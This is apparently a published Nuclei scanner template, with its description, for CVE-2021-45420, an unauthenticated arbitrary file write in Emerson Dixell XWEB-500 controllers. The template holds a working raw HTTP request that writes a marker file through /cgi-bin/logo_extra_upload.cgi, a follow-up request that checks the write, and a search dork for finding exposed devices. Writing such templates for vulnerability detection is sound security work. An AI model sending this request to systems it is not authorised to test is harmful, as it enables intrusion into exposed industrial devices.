Emerson Dixell XWEB-500 - Arbitrary File Write

ID: dixell-xweb500-filewrite

Severity: critical

Author: hackerarpan

Tags: lfw,iot,dixell,xweb500,edb,fileupload,intrusive

Description

Emerson Dixell XWEB-500 products are affected by arbitrary file write vulnerabilities in /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi. An attacker will be able to write any file on the target system without any kind of authentication mechanism, and this can lead to denial of service and potentially remote code execution. Note that this product has not been supported since 2018 and should be removed or replaced.

YAML Source

id: dixell-xweb500-filewrite

info:
  name: Emerson Dixell XWEB-500 - Arbitrary File Write
  author: hackerarpan
  severity: critical
  description: Emerson Dixell XWEB-500 products are affected by arbitrary file write vulnerabilities in /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi. An attacker will be able to write any file on the target system without any kind of authentication mechanism, and this can lead to denial of service and potentially remote code execution. Note that this product has not been supported since 2018 and should be removed or replaced.
  reference:
    - https://www.exploit-db.com/exploits/50639
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45420
  classification:
    cpe: cpe:2.3:h:emerson:dixell_xweb-500:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: emerson
    product: dixell_xweb-500
    google-query: inurl:"xweb500.cgi"
  tags: lfw,iot,dixell,xweb500,edb,fileupload,intrusive

http:
  - raw:
      - |
        POST /cgi-bin/logo_extra_upload.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        {{randstr}}.txt
        dixell-xweb500-filewrite
      - |
        GET /logo/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "dixell-xweb500-filewrite")'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022049ca8cb5beb14abe55af8bfd7a7006f4c7686c2ca90ad8c59d3cbdffce7c3606022100aa9cbaabcdad052ac2a3a713d6d917cbb10732d7537ac8a32233caa538963ce9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/dixell-xweb500-filewrite.yaml"

View on Github